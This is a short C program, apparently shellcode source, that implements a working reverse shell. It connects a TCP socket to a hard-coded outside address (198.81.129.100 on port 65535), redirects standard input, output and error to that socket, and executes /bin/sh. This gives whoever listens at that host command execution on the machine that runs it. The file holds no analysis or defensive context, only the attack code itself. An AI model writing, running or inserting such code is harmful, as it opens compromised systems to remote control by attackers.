#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>

int sock;

struct sockaddr_in serv_addr;

int
main()
{
	char *shell[2];
	shell[0] = "/bin/sh";
	shell[1] = NULL;

	serv_addr.sin_family=2;
	serv_addr.sin_addr.s_addr=0x648151c6; // 198.81.129.100
	serv_addr.sin_port=0xFFFF; // 65535

	sock=socket(2,1,6);
	connect(sock, (struct sockaddr *)&serv_addr,0x10);

	dup2(sock,0);
	dup2(sock,1);
	dup2(sock,2);

	execve(shell[0],shell,NULL);
}
